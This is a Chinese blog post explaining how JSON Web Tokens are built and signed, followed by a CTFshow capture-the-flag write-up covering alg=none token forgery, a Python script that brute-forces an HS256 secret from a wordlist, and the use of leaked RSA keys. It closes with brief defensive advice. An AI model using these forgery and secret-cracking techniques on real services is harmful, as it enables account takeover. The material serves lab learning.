JWT的认识和攻击方法

什么是JWT

JWT ( JSON Web Token 的缩写)是一串带有声明信息的字符串,由服务端用加密算法对信息签名来保证其完整性和不可伪造。
Token里可以包含所有必要信息,这样服务端就无需保存任何关于用户或会话的信息,JWT可用于身份认证、会话状态维持、信息交换等。
JWT 由三部分构成,分别称为 header 、payload 和 signature ,各部分用. 相连构成一个完整的Token
xxxxxx.yyyyyyy.zzzzzz

在这里插入图片描述

# header :
使用一个JSON格式字符串声明token的类型和签名用的算法等,形如使
{"alg": "None","typ": "jwt“}
该字符串经过Base64Url编码后形成JWT的第一部分xxxxx。
# payload :
该字符串经过Base64Url编码后形成JWT的第二部分 yyyyy。

载荷就是存放有效信息的地方。这个名字像是特指飞机上承载的货品,这些有效信息包含三个部分

标准中注册的声明 (建议但不强制使用) :
iss: jwt签发者
sub: jwt所面向的用户
aud: 接收jwt的一方
exp: jwt的过期时间,这个过期时间必须要大于签发时间
nbf: 定义在什么时间之前,该jwt都是不可用的.
iat: jwt的签发时间
jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。

公共的声明 :
公共的声明可以添加任何的信息,一般添加用户的相关信息或其他业务需要的必要信息.但不建议添加敏感信息,因为该部分在客户端可解密.

私有的声明 :
私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息,因为base64是对称解密的,意味着该部分信息可以归类为明文信息。
# signature :
这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,
然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分 zzzzzzz

数据签名是JWT的核心部分,构成较为复杂
可以选择对称加密算法或者非对称加密算法,常用的就是 HS256、RS256。
HS256加密:(对称加密)
signature = HMACSHA256( base64UrlEncode(header) + "." +base64UrlEncode(payload), secret );
   
RS256加密:(非对称加密)
signature = RSASHA256(base64UrlEncode(header) + "." +base64UrlEncode(payload), publicKey, privateKey)

对JWT有了大致了解后,用CTFshow的几道题来尝试一下

web 345

因为是JWT的题目,所以直接看cookies
在这里插入图片描述
丢到 jwt.io 里去看看
在这里插入图片描述
可以看到这里 alg = none 没有加密 ,sub 是jwt所面向的用户,只需要将sub的值改成admin,然后cookies替换掉就行了

web 346

在这里插入图片描述
可以发现这道题 Hs256 加密了,那就爆破一下

import jwt
import json


def runblasting(path, jwt_str, alg):
    if alg == "none":
        alg = "HS256"
    with open(path, encoding='utf-8') as f:
        for line in f:
            key_ = line.strip()
            print('use ' + key_)
            try:
                jwt.decode(jwt_str, verify=True, key=key_, algorithms=alg)
                print('found key! --> ' + key_)
                break
            except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError,
                   jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError,
                   jwt.exceptions.ImmatureSignatureError):
                print('found key! --> ' + key_)
                break
            except(jwt.exceptions.InvalidSignatureError):
                continue
        else:
            print("key not found!")


if __name__ == '__main__':
    runblasting('bp1.txt',
                'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYyNzE5MDgxOSwiZXhwIjoxNjI3MTk4MDE5LCJuYmYiOjE2MjcxOTA4MTksInN1YiI6InVzZXIiLCJqdGkiOiJjMjQ4Y2NhMTdkNGFkOWM3MzRlYjE4ZDJlZTY1MjBlYiJ9.3RorUDLhutsqgkbphdQ92ICeSDzEDXB2XjWofXR0RZk',
                'HS256')
通过跑字典出 secret = 123456 ,最后替换cookies就行

在这里插入图片描述

web 348

同样还是 Hs256 加密的,继续尝试爆破弱口令,这次是 aaab

web 349

在这里插入图片描述
这道题就是 Rs256 加密的,有公私钥
但题目还算良心,给了公私钥泄露,访问下载就行
在这里插入图片描述
在这里插入图片描述
同样的只要把得到的公私钥丢进去就行了
在这里插入图片描述

安全建议

不应该在jwt的payload部分存放敏感信息,因为该部分是客户端可解密的部分。

保护好secret私钥,该私钥非常重要。

如果可以,请使用https协议
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值